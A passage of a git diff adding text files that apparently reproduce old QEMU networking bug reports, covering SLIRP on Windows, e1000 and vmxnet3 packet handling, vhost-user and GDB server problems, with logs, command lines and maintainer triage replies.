(is a RESET event) +7) Receive reply (is a RESET event) +8) close socket +9) Connect to socket -> ok + +I don't know if this is a bug or expected behavior. I can't find any proper way to disconnect the socket documentated. Am I doïng something wrong, or is this a bug in the QMP implementation of QEMU? + +For what its worth, i'm using Ubuntu 12.10: +kvm --version +QEMU emulator version 1.2.0 (qemu-kvm-1.2.0+noroms-0ubuntu2.12.10.3, Debian), Copyright (c) 2003-2008 Fabrice Bellard + + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +I'm not sure, the current implementation is multi-threaded so I won't hit this bug if its still present. If I can find the time I will make a proof of concept and test if the bug is still present. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1196727 b/results/classifier/deepseek-1/output/network/1196727 new file mode 100644 index 00000000..c4de9c45 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1196727 @@ -0,0 +1,148 @@ + +SLIRP on Windows 7 64-bit host or is it me? + + Version: 1.5.1 and tried latest in Git, compiled for x86_64 Windows 64-bit + Host: Windows 7 64-bit + Guest: FreeBSD 9.1 i386, RHEL 6.4 x86_64, SLES 11.2 x86_64, OpenSUSE 12.3 ppc64, Fedora 18 ppc64 + libiconv: 1.14 + glib: 2.28.8 +gettext: 0.18.1.1 + pixman: 0.30.0 + libSDL: 1.2.14 + Driver: virtio-net-pci + Emu: full (non-KVM) + +I'm new to Windows 7 64-bit as a host for QEMU (previously I was running QEMU on Windows XP with no issues) so it could be me, now on Windows 7 SLIRP only works for me connecting internally from the host to the guest via SLIRP redirect, but any outbound requests from the guest to the Internet are failing with the following: + +if_start... +m_get... + m = 61f7bd40 +ip_input... + m = 61f7bd40 + m_len = 48 +tcp_input... + m = 61f7bd40 iphlen = 20 inso = 0 +tcp_fconnect... + so = 33e140 + connect()ing, addr.sin_port=80, addr.sin_addr.s_addr=206.190.36.45 + tcp fconnect errno = 10035-Unknown error +icmp_error... + msrc = 61f7bd40 + msrc_len = 48 + 10.0.2.5 to 206.190.36.45 +m_get... + m = 61f7b6c0 +ip_output... + so = 0 + m0 = 61f7b6c0 +if_output... + so = 0 + ifm = 61f7b6c0 +if_start... +arp_table_search... + ip = 0x502000a + found hw addr = 52:54:00:12:34:56 +m_free... + m = 61f7b6c0 +tcp_close... + tp = 377840 +m_free... + m = 0 +m_free... + m = 61f7bd40 + +Am I doing something wrong with my Windows host configuration or is this a bug in SLIRP only on W64 and not W32? + +I confirmed it wasn't my host, I successfully ran a test on the same host with a 32-bit QEMU build and SLIRP works fine, for 1.6.0-rc3 as well. + +It could be my x86_64-w64-mingw32-gcc compiler version, I tested 4.8 and 4.7, maybe they're too new? Is there a specific gcc version known to work? I can build a new cross-compiler if need be. + +The reason I want the 64-bit build to work is to raise the guest memory. + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU (currently v2.9.0)? + +Hi, you can close this ticket. I can't remember what I did to get it working. + +Sent from Yahoo Mail on Android + + On Thu, Jul 20, 2017 at 8:16 AM, Thomas Huth<email address hidden> wrote: Triaging old bug tickets ... can you still reproduce this problem with +the latest version of QEMU (currently v2.9.0)? + +** Changed in: qemu + Status: New => Incomplete + +-- +You received this bug notification because you are subscribed to the bug +report. +https://bugs.launchpad.net/bugs/1196727 + +Title: + SLIRP on Windows 7 64-bit host or is it me? + +Status in QEMU: + Incomplete + +Bug description: + Version: 1.5.1 and tried latest in Git, compiled for x86_64 Windows 64-bit + Host: Windows 7 64-bit + Guest: FreeBSD 9.1 i386, RHEL 6.4 x86_64, SLES 11.2 x86_64, OpenSUSE 12.3 ppc64, Fedora 18 ppc64 + libiconv: 1.14 + glib: 2.28.8 + gettext: 0.18.1.1 + pixman: 0.30.0 + libSDL: 1.2.14 + Driver: virtio-net-pci + Emu: full (non-KVM) + + I'm new to Windows 7 64-bit as a host for QEMU (previously I was + running QEMU on Windows XP with no issues) so it could be me, now on + Windows 7 SLIRP only works for me connecting internally from the host + to the guest via SLIRP redirect, but any outbound requests from the + guest to the Internet are failing with the following: + + if_start... + m_get... + m = 61f7bd40 + ip_input... + m = 61f7bd40 + m_len = 48 + tcp_input... + m = 61f7bd40 iphlen = 20 inso = 0 + tcp_fconnect... + so = 33e140 + connect()ing, addr.sin_port=80, addr.sin_addr.s_addr=206.190.36.45 + tcp fconnect errno = 10035-Unknown error + icmp_error... + msrc = 61f7bd40 + msrc_len = 48 + 10.0.2.5 to 206.190.36.45 + m_get... + m = 61f7b6c0 + ip_output... + so = 0 + m0 = 61f7b6c0 + if_output... + so = 0 + ifm = 61f7b6c0 + if_start... + arp_table_search... + ip = 0x502000a + found hw addr = 52:54:00:12:34:56 + m_free... + m = 61f7b6c0 + tcp_close... + tp = 377840 + m_free... + m = 0 + m_free... + m = 61f7bd40 + + Am I doing something wrong with my Windows host configuration or is + this a bug in SLIRP only on W64 and not W32? + +To manage notifications about this bug go to: +https://bugs.launchpad.net/qemu/+bug/1196727/+subscriptions + + +OK, thanks for your answer - so I'm closing the ticket now + diff --git a/results/classifier/deepseek-1/output/network/1228285 b/results/classifier/deepseek-1/output/network/1228285 new file mode 100644 index 00000000..9da45eb4 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1228285 @@ -0,0 +1,67 @@ + +e1000 nic TCP performances + +Hi, + +Here is the context : + +$ qemu -name A -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,listen=127.0.0.1:7000 +$ qemu -name B -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,connect=127.0.0.1:7000 + +The bandwidth is really tiny : + + . Iperf3 reports about 30 Mb/sec + . NetPerf reports about 50 Mb/sec + + +With UDP sockets, there is no problem at all : + + . Iperf3 reports about 1 Gb/sec + . NetPerf reports about 950 Mb/sec + + +I've noticed this fact only with the e1000 NIC, not with others (rtl8139,virtio, etc.) +I've used the main GIT version of QEMU. + + +Thanks in advance. + +See you, +VInce + +On Fri, Sep 20, 2013 at 05:21:23PM -0000, Vincent Autefage wrote: +> Here is the context : +> +> $ qemu -name A -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,listen=127.0.0.1:7000 +> $ qemu -name B -m 1024 -net nic vlan=0,model=e1000 -net socket,vlan=0,connect=127.0.0.1:7000 +> +> The bandwidth is really tiny : +> +> . Iperf3 reports about 30 Mb/sec +> . NetPerf reports about 50 Mb/sec +> +> +> With UDP sockets, there is no problem at all : +> +> . Iperf3 reports about 1 Gb/sec +> . NetPerf reports about 950 Mb/sec +> +> +> I've noticed this fact only with the e1000 NIC, not with others (rtl8139,virtio, etc.) +> I've used the main GIT version of QEMU. + +It's interesting that you see good performance over -netdev socket TCP +with the other NIC models. + +I don't know what the issue would be, you'll probably need to dig +further to discover the problem. Using wireshark might be a good start. +Try to figure out where the delay is incurred and then instrument that +code to find out the cause. + +Stefan + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1333688 b/results/classifier/deepseek-1/output/network/1333688 new file mode 100644 index 00000000..ff6bb863 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1333688 @@ -0,0 +1,61 @@ + +vhost-user: VHOST_USER_SET_MEM_TABLE doesn't contain all regions + + + +vhost-user implementation doesn't provide information about all memory regions, +and in some cases client is not able to map buffer memory as he is missing +memory region information for specific address. + +Same thing is implemented properly for vhost-net. Below gdb outputs are +showing memory regions information provided to the vhost-net and vhost-user. + + + +==== memory regions information provided to vhost-net ==== + +(gdb) p/x hdev->mem->regions[0] +$21 = { + guest_phys_addr = 0x100000000, + memory_size = 0xc0000000, + userspace_addr = 0x2aab6ac00000, + flags_padding = 0x0 +} +(gdb) p/x hdev->mem->regions[1] +$22 = { + guest_phys_addr = 0xfffc0000, + memory_size = 0x40000, + userspace_addr = 0x7ffff4a00000, + flags_padding = 0x0 +} +(gdb) p/x hdev->mem->regions[2] +$23 = { + guest_phys_addr = 0x0, + memory_size = 0xa0000, + userspace_addr = 0x2aaaaac00000, + flags_padding = 0x0 +} +(gdb) p/x hdev->mem->regions[3] +$24 = { + guest_phys_addr = 0xc0000, + memory_size = 0xbff40000, + userspace_addr = 0x2aaaaacc0000, + flags_padding = 0x0 +} +(gdb) + + +==== memory regions information provided to vhost-user ==== + +(gdb) p/x msg.memory.nregions +$28 = 0x1 +(gdb) p/x msg.memory.regions[0] +$29 = { + guest_phys_addr = 0x0, + memory_size = 0x180000000, + userspace_addr = 0x2aaaaac00000 +} +(gdb) + +Problem fixed in qemu commit 3fd74b84. + diff --git a/results/classifier/deepseek-1/output/network/1546445 b/results/classifier/deepseek-1/output/network/1546445 new file mode 100644 index 00000000..bc557d05 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1546445 @@ -0,0 +1,49 @@ + +support vhost user without specifying vhostforce + +[Impact] + + * vhost-user falls back to virtio-net which causes performance lose without specifying the vhostforce option. But it should be the default behavior for vhost-user, since guests using PMD doesn't support msi-x. + +[Test Case] + + create a vhost-user virtio backend without specifying the vhostforce option, i.e. -netdev type=vhost-user,id=mynet1,chardev=<char_dev_for_the_controll_channel> + start the VM + vhost-user is not enabled + +[Regression Potential] + + * none + +vhost user nic doesn't support non msi guests(like pxe stage) by default. +Vhost user nic can't fall back to qemu like normal vhost net nic does. So we should +enable it for non msi guests. + +The problem has been fix in qemu upstream - http://git.qemu.org/?p=qemu.git;a=commitdiff;h=24f938a682d934b133863eb421aac33592f7a09e. And the patch needs to be backported to 1:2.2+dfsg-5expubuntu9.8 . + + + +The attachment "debian patch for qemu 1:2.2+dfsg" seems to be a debdiff. The ubuntu-sponsors team has been subscribed to the bug report so that they can review and hopefully sponsor the debdiff. If the attachment isn't a patch, please remove the "patch" flag from the attachment, remove the "patch" tag, and if you are member of the ~ubuntu-sponsors, unsubscribe the team. + +[This is an automated message performed by a Launchpad user owned by ~brian-murray, for any issue please contact him.] + +Hello Liang, or anyone else affected, + +Accepted qemu into kilo-proposed. The package will build now and be available in the Ubuntu Cloud Archive in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. To enable the -proposed repository: + + sudo add-apt-repository cloud-archive:kilo-proposed + sudo apt-get update + +Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-kilo-needed to verification-kilo-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-kilo-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Tested with 1:2.2+dfsg-5expubuntu9.7~cloud2, and the fix works for me. + +FYI, following additional regression tests, today we promoted qemu 2.2+dfsg-5expubuntu9.7~cloud2 from kilo-proposed to kilo-updates in the Ubuntu Cloud Archive. + + diff --git a/results/classifier/deepseek-1/output/network/1555452 b/results/classifier/deepseek-1/output/network/1555452 new file mode 100644 index 00000000..ae8d1a2d --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1555452 @@ -0,0 +1,18 @@ + +GDB server does not work in Windows + +I build qemu with msys2, MINGW64. After fix the socket_error() problem, and manually specify to use IPv4, GDB server still does not work. The related qemu command is +"-monitor none -nographic -gdb tcp::1234 -S" +GDB reports "Timed out" + +There's a message at https://<email address hidden>/msg357981.html. +I've fixed the socket_error() problem. +I see that qio_channel_create_socket_watch is called. + +It seems that someone is fixing this at https://<email address hidden>/msg358825.html + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1575561 b/results/classifier/deepseek-1/output/network/1575561 new file mode 100644 index 00000000..cb87babb --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1575561 @@ -0,0 +1,17 @@ + +config qemu virtio_queue_size to 1024，create vm boot from network failed + +config qemu virtio_queue_size to 1024，create vm boot from network failed。 +in the vm vncviewer，see the error log： +“ERROR queue size 1024 > 256 +could not open net0: no such file or directory" + +the vm bios is seabios. see the seabios,it queue size config 256,can not change. + + +but vm by other boot type ,such as dev='hd', can use virtio_queue_size = 1024 + +Which version of QEMU were you using here? Can you still reproduce this issue with the latest version of QEMU? If so, please also provide the full command line parameters that you used to start QEMU. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1581695 b/results/classifier/deepseek-1/output/network/1581695 new file mode 100644 index 00000000..0e10e101 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1581695 @@ -0,0 +1,23 @@ + +getifaddrs: Address family not supported by protocol + +Calling ip addr fails with the following error message: +Cannot open netlink socket: Address family not supported by protocol + + +My use case is running a docker raspberry pi arm container on Ubuntu 14.04 x64 with qemu-static. + +My steps to reproduce are the following: + +# docker pull philipz/rpi-raspbian:latest +# docker run -it --rm -v /usr/bin/qemu-arm-static:/usr/bin/qemu-arm-static philipz/rpi-raspbian bash +root@3b4ddc174279:/# ip addr +Cannot open netlink socket: Address family not supported by protocol + +A fix or an workaround would be awesome. + +note: we are also working with a embedded arm distro which has no package manager available, would be nice if the workaround would not depend on apt-get + +We got netlink sockets working for linux-user over the course of 2016, and "ip addr" now works for me with a 32-bit arm chroot. This should be fixed in QEMU 2.10. + + diff --git a/results/classifier/deepseek-1/output/network/1612908 b/results/classifier/deepseek-1/output/network/1612908 new file mode 100644 index 00000000..0a4322aa --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1612908 @@ -0,0 +1,13 @@ + +qom-[list,tree,get,set] don't accept tcp endpoint arg + +Hi, + +I'm using origin/master [6bbbb0ac13...]. When I run any of the commands in 'qemu/scripts/qmp/qom-[list,tree,get,set]', the help text says that it can connect to a QEMU instance by passing either a path to a unix socket or a tcp endpoint in the format "host:port". The unix socket variant works but the tcp endpoint variant does not. QEMUMonitorProtocol accepts either a string (unix socket) or a tuple (host,port). None of the qom-* scripts actually massage the '-s' argument into a tuple. + +I have a patch to fix this issue that I can submit to the developer list. + +Hi! Triaging old bug tickets ... is this still an issue with the latest version of QEMU? If you've got a patch for this ready, please send it to the qemu-devel mailing list! + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1662600 b/results/classifier/deepseek-1/output/network/1662600 new file mode 100644 index 00000000..87029618 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1662600 @@ -0,0 +1,39 @@ + +error while building from source on Ubuntu 16.04 + +I'm trying to build Qemu from source (from git) as specified here: http://www.qemu-project.org/download/#source + +Here is the git commit hash for the source: 7d2c6c95511e42dffe2b263275e09957723d0ff4 + +During the 'make' step, I get the following error: + +migration/rdma.c: In function ‘qemu_rdma_dump_id’: +migration/rdma.c:749:21: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:750:22: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:750:37: error: ‘IBV_LINK_LAYER_INFINIBAND’ undeclared (first use in this function) +migration/rdma.c:750:37: note: each undeclared identifier is reported only once for each function it appears in +migration/rdma.c:751:24: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:751:39: error: ‘IBV_LINK_LAYER_ETHERNET’ undeclared (first use in this function) +migration/rdma.c: In function ‘qemu_rdma_broken_ipv6_kernel’: +migration/rdma.c:850:26: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:850:41: error: ‘IBV_LINK_LAYER_INFINIBAND’ undeclared (first use in this function) +migration/rdma.c:852:33: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +migration/rdma.c:852:48: error: ‘IBV_LINK_LAYER_ETHERNET’ undeclared (first use in this function) +migration/rdma.c:891:18: error: ‘struct ibv_port_attr’ has no member named ‘link_layer’ +make: *** [migration/rdma.o] Error 1 + +I searched around a bit, my problem seems related to this: https://patchwork.kernel.org/patch/992952/ + +That issue makes me think my libibverbs may be out of date, but I checked and I have libibverbs-dev installed. Is that the correct version? + +FYI, I installed libibverbs-dev as suggested here: http://wiki.qemu-project.org/index.php/Hosts/Linux#Recommended_additional_packages + +Since libibverbs was optional, I uninstalled it. After doing so, my build seems to have progressed past this error. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1673722 b/results/classifier/deepseek-1/output/network/1673722 new file mode 100644 index 00000000..1bbc323a --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1673722 @@ -0,0 +1,114 @@ + +Reading register at offset. It is not fully implemented warning make VM impossible to use + +Hi, + +Since this commit: +https://github.com/qemu/qemu/commit/bc0f0674f037a01f2ce0870ad6270a356a7a8347 + +We can no longer use the IOSvL2 image from Cisco. The problem is we got a lot of warning message saying: +e1000: Reading register at offset: 0x00002410. It is not fully implemented. + +User got so much of this warning that they can't use the VM. + +Thanks for the help + +On Fri, Mar 17, 2017 at 09:47:14AM -0000, Julien Duponchelle wrote: +> Hi, +> +> Since this commit: +> https://github.com/qemu/qemu/commit/bc0f0674f037a01f2ce0870ad6270a356a7a8347 +> +> We can no longer use the IOSvL2 image from Cisco. The problem is we got a lot of warning message saying: +> e1000: Reading register at offset: 0x00002410. It is not fully implemented. +> +> User got so much of this warning that they can't use the VM. + +CCing the author and maintainers. + +DBGOUT() is compiled in by default. Warnings that can be triggered at a +high rate by the guest should be off by default or use a +printf_once()-style macro so they are only printed once and not again. + +Leonid: do you want to adjust e1000 DBGOUT() usage to avoid printing +guest-triggerable messages by default? + +Stefan + + +On 20 March 2017 at 14:20, Stefan Hajnoczi <email address hidden> wrote: +> On Fri, Mar 17, 2017 at 09:47:14AM -0000, Julien Duponchelle wrote: +>> Hi, +>> +>> Since this commit: +>> https://github.com/qemu/qemu/commit/bc0f0674f037a01f2ce0870ad6270a356a7a8347 +>> +>> We can no longer use the IOSvL2 image from Cisco. The problem is we got a lot of warning message saying: +>> e1000: Reading register at offset: 0x00002410. It is not fully implemented. +>> +>> User got so much of this warning that they can't use the VM. +> +> CCing the author and maintainers. +> +> DBGOUT() is compiled in by default. Warnings that can be triggered at a +> high rate by the guest should be off by default or use a +> printf_once()-style macro so they are only printed once and not again. +> +> Leonid: do you want to adjust e1000 DBGOUT() usage to avoid printing +> guest-triggerable messages by default? + +If we want to report "whoops, we don't implement this yet" messages then +the recommended way to do that is + qemu_log_mask(LOG_UNIMP, "...."); + +(these are not reported by default but only if the user asks for them.) + +thanks +-- PMM + + + + +On 2017年03月20日 22:58, Peter Maydell wrote: +> On 20 March 2017 at 14:20, Stefan Hajnoczi <email address hidden> wrote: +>> On Fri, Mar 17, 2017 at 09:47:14AM -0000, Julien Duponchelle wrote: +>>> Hi, +>>> +>>> Since this commit: +>>> https://github.com/qemu/qemu/commit/bc0f0674f037a01f2ce0870ad6270a356a7a8347 +>>> +>>> We can no longer use the IOSvL2 image from Cisco. The problem is we got a lot of warning message saying: +>>> e1000: Reading register at offset: 0x00002410. It is not fully implemented. +>>> +>>> User got so much of this warning that they can't use the VM. +>> CCing the author and maintainers. +>> +>> DBGOUT() is compiled in by default. Warnings that can be triggered at a +>> high rate by the guest should be off by default or use a +>> printf_once()-style macro so they are only printed once and not again. +>> +>> Leonid: do you want to adjust e1000 DBGOUT() usage to avoid printing +>> guest-triggerable messages by default? +> If we want to report "whoops, we don't implement this yet" messages then +> the recommended way to do that is +> qemu_log_mask(LOG_UNIMP, "...."); +> +> (these are not reported by default but only if the user asks for them.) +> +> thanks +> -- PMM +> + +I don't see a reason that enabling E1000E_DEBUG by default. How about +just disable it by default? + +Thanks + + +I sent a patch to the mailing list: +http://lists.nongnu.org/archive/html/qemu-devel/2017-05/msg01294.html + +I think this has been fixed by: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=b4053c64833 + + diff --git a/results/classifier/deepseek-1/output/network/1687599 b/results/classifier/deepseek-1/output/network/1687599 new file mode 100644 index 00000000..56572e84 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1687599 @@ -0,0 +1,30 @@ + +Bind 2nd VM to same OVS vhost-user port caused 1st vm traffic broken + +Binding 2nd VM to same OVS vhost-user port caused 1st vm traffic broken. If it illegal to share same vhost port, how about the first VM open the path exclusively? + + +#OVS side to create the vhost-user port: +ovs-vsctl add-br br0 -- set bridge br0 datapath_type=netdev +ovs-vsctl add-port br0 phy0 -- set Interface phy0 type=dpdk options:dpdk-devargs=0000:0a:00.0 +ovs-vsctl add-port br0 dpdkvhostuser0 -- set Interface dpdkvhostuser0 type=dpdkvhostuser + +#QEMU VM1 +qemu-system-x86_64 -name vm1 -cpu host -enable-kvm -m 3072 -drive file=/opt/ubuntu1.qcow2 \ + -numa node,memdev=mem -mem-prealloc -smp sockets=1,cores=2 \ + -object memory-backend-file,id=mem,size=3072m,mem-path=/dev/hugepages,share=on \ + -chardev socket,id=char0,path=/usr/local/var/run/openvswitch/dpdkvhostuser0 \ -netdev type=vhost-user,id=mynet1,chardev=char0,vhostforce \ + -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mrg_rxbuf=off + +#VM2 +qemu-system-x86_64 -name vm2 -cpu host -enable-kvm -m 3072 -drive file=/opt/ubuntu2.qcow2 \ + -numa node,memdev=mem -mem-prealloc -smp sockets=1,cores=2 \ + -object memory-backend-file,id=mem,size=3072m,mem-path=/dev/hugepages,share=on \ + -chardev socket,id=char0,path=/usr/local/var/run/openvswitch/dpdkvhostuser0 \ -netdev type=vhost-user,id=mynet1,chardev=char0,vhostforce \ + -device virtio-net-pci,mac=00:00:00:00:00:01,netdev=mynet1,mrg_rxbuf=off + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1758091 b/results/classifier/deepseek-1/output/network/1758091 new file mode 100644 index 00000000..c92ee949 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1758091 @@ -0,0 +1,28 @@ + +vmxnet3 unable to send IPv6 ESP packets + +My vmxnet3 network driver (in a closed source custom OS) is unable to send network packets that are structured as follows: Ethernet-Header(IPv6-Header(ESP(encrypted data))). I can verify that the packet is sent in the VM but is dropped in qemu. I first encountered this problem on qemu 2.10.1 but master is affected as well. After some debug printing in qemu I could identify the following call chain as being problematic: + +eth_is_ip6_extension_header_type +eth_parse_ipv6_hdr +net_tx_pkt_parse_headers +net_tx_pkt_parse +vmxnet3_process_tx_queue + +The problem seems to be the definition of the ESP header (https://en.wikipedia.org/wiki/IPsec#Encapsulating_Security_Payload) that does not follow the standard IPv6 extension header format starting with next type and length. Thus the parsed ext_hdr in eth_parse_ipv6_hdr does not contain valid data, in particular the length will contain bogus data and lead to a info->full_hdr_len that is larger than the packet itself and the loop would then try to read beyond the end of the packet. + +Using the e1000 driver I can send these packets. My guess is that the net_tx_pkt_parse function is not called in that case. + +My guess for a fix would be to remove "case IP6_ESP:" from eth_is_ip6_extension_header_type and not regard the ESP header as a IPv6 extension header. In a quick test this seems to fix the problem. But that should be verified by someone who is familiar with the code. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/149 + + diff --git a/results/classifier/deepseek-1/output/network/1791680 b/results/classifier/deepseek-1/output/network/1791680 new file mode 100644 index 00000000..a3bbef4e --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1791680 @@ -0,0 +1,76 @@ + +network bridge does not work + +hi there + +the network bridge does not seem to work described as here: https://en.wikibooks.org/wiki/QEMU/Networking + +When i add that parameters in a 192.168.80.x subnet, my emulated raspbian ARM gets the IP 10.0.2.15.... While all other computers get 192.168.80.x + +The command i use is: + + +qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda 2018-09-03_stretch_inkl_phalcon.img -kernel kernel-qemu-4.4.34-jessie -m 192 -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -no-reboot -net nic -net user -device e1000,mac=52:54:00:12:34:56 & + + +Does not build up a network bridge to 192.168.80.x... + +The host system i use is win10 x64 v1803 + +Best regards, +Jan + +J:\Tools\qemu>qemu-system-arm.exe -M versatilepb -cpu arm1176 -hda 2018-09-03_stretch_inkl_phalcon.img -kernel kernel-qe +mu-4.4.34-jessie -m 192 -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -no-reboot -net nic -net user -device e1000, +mac=52:54:00:12:34:56 +WARNING: Image format was not specified for '2018-09-03_stretch_inkl_phalcon.img' and probing guessed raw. + Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. + + Specify the 'raw' format explicitly to remove the restrictions. +dsound: Could not initialize DirectSoundCapture +dsound: Reason: No sound driver is available for use, or the given GUID is not a valid DirectSound device ID +qemu-system-arm.exe: warning: nic e1000.0 has no peer + + +10.0.2.15 is neither a ip in our dhcp range nor an apipa address - strange + +but google is pingable, so i have internet. + +must be nat, right?? + +Yes, looks like nat - 10.10.2.15 is not pingable from 192.168.80.x but vice versa... + +but wqhat they write here is not nat: "If no network options are specified, QEMU will default to emulating a single Intel e1000 PCI card with a user-mode network stack that bridges to the host's network. The following three command lines are equivalent:" + +And i think my params are right? + +... -net nic -net user -device e1000,mac=52:54:00:12:34:56 & + +That comment about e1000 is only true for qemu-system-i386. For ARM machines, there are other default NICs. You should also not mix "-net" and "-device", see https://www.qemu.org/2018/05/31/nic-parameter/ for some details. And concerning NAT, yes the "user" backend is using NAT, see https://wiki.qemu.org/Documentation/Networking#User_Networking_.28SLIRP.29 for details about that. + +OK thx. + +"The -device option can only be used for pluggable NICs. Boards (e.g. embedded boards) which feature an on-board NIC cannot be configured with -device yet, so -net nic,netdev=<id> must be used here instead." + +when i only use "-net nic", i get an apipa address + +what do i need for netdev id? n1 as described in your links does not work. messsage: "netdev 'n1' not found" + +currently, only one nic adapter is enabled on my win10 host: the ethernet controller. + +the other 2, 1x internal wlan and 1x usb wlan is disabled.. + +"That comment about e1000 is only true for qemu-system-i386. For ARM machines, there are other default NICs." + +but why im able to ping google with that config?? + +"-nic tap,model=e1000" + +-> "Device 'tap' colud not be found + +incompatible with windows, right? so i need a linux machine with ethx?? + +https://bugs.launchpad.net/qemu/+bug/1404278 + +problem solved! :-) + diff --git a/results/classifier/deepseek-1/output/network/1824622 b/results/classifier/deepseek-1/output/network/1824622 new file mode 100644 index 00000000..88642faa --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1824622 @@ -0,0 +1,20 @@ + +Qemu 4.0.0-rc3 COLO Primary Crashes with "Assertion `event_unhandled_count > 0' failed." + +Hello Everyone, +Now with Qemu 4.0.0-rc3, COLO is finally working so I gave it a try, but the Primary is always crashing during Network use. Typing fast in ssh or running "top" with 0.1 second delay (change with 'd') reliably trigger the crash for me. I use the attached scripts to run Qemu, in my case both primary and secondary run on the same Host for testing purposes. See the files in the attached .tar.bz2 for more Info, they also contain a Coredump. + +Regards, +Lukas Straub + +Configure CMDline: +./configure --target-list=x86_64-softmmu,i386-softmmu --enable-debug-info + + + +https://lists.nongnu.org/archive/html/qemu-discuss/2019-04/msg00026.html + +There is a Patch available which fixes this bug: https://lists.nongnu.org/archive/html/qemu-devel/2019-04/msg03497.html + +Fix applied to qemu 4.1 + diff --git a/results/classifier/deepseek-1/output/network/1837651 b/results/classifier/deepseek-1/output/network/1837651 new file mode 100644 index 00000000..2a99ff33 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1837651 @@ -0,0 +1,22 @@ + +-netdev socket uses 100% cpu on Windows host + +On Windows hosts, any `-netdev socket` option (tcp listen, tcp connect, udp passing a fd) causes qemu to use 100% cpu. The guest still runs, but only sluggishly. + +A simple testcase is: + +> qemu-system-i386.exe -netdev socket,listen=:8000,id=n + +And, in another command prompt: + +> echo foo | nc.exe localhost 8000 + +Where nc.exe is netcat. + +Tested on qemu 3.1 (from https://qemu.weilnetz.de/w64/) and 4.0 (self compiled). + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/network/1838228 b/results/classifier/deepseek-1/output/network/1838228 new file mode 100644 index 00000000..3b744124 --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1838228 @@ -0,0 +1,29 @@ + +Slirp Broadcast traffic + +Hi all, + +Version: QEMU emulator version 3.1.0 (Debian 1:3.1+dfsg-7+build1) + +I'm running some DHCP traffic to a *custom* DHCP server with user-mode 